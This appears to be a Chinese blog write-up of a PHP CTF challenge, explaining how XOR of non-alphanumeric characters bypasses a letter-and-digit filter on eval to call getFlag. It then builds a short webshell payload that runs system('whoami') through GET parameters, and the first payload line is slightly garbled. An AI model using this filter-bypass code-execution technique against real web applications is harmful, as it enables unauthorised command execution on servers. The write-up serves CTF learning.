最近看到一个ctf题目,关于无字母数字获取shell的,记录一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
代码进行了字母数字过滤,并且限制了输入长度。
那么按照我们利用异或和php弱类型的一些特性,将符号转换为字母,再拼接函数,或者我们想要利用的webshell;
下面进行简单的演示:1
2
3
4
5
6echo 'g'^'<'; // 输出结果为 [
echo '['^'<'; // 这样便可以得到 g
echo ('['^'<').(':'^'_'); // 拼接之后得到 ge
echo '[:'^'<_'; // 为了减少长度,这样同样可以输出与上面相同的效果 ge
echo '[:[:,_]'^'<_/|@>:';// 构造出getFlag,而此时仅用了19个字符的长度
那么重点来了,既然我们已经构造出了getFlag,再加个(),拼接进去()不是就能直接读取题目的flag了,确实是这样,但如果直接拼进字符串是没有效果的,其只能作为字符串而不能被当作函数,我们还要进行适当的拼接。1
2$_ = '[:[:,_]'^'<_/|@>:'; // getFlag
$_(); // getFlag() 这样就会变成函数了
那么我们最终的payload即为:?code=$=’[:[:,]’^’</|@>:’;$();
这样仅仅是调用了一个输出flag的函数,那么我们要是在实际环境中想继续利用的话,我们需要构造出一个webshell。1
2$_="`{{{"^"?<>/"; // _GET
${$_}[_](${$_}[__]); // $_GET[_]($GET_[__])
这样就突破了code的长度限制,利用get传入两个变量,一个作为函数名,一个作为函数参数。就可以实现一个任意代码执行了。
例如利用system执行系统命令1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=whoami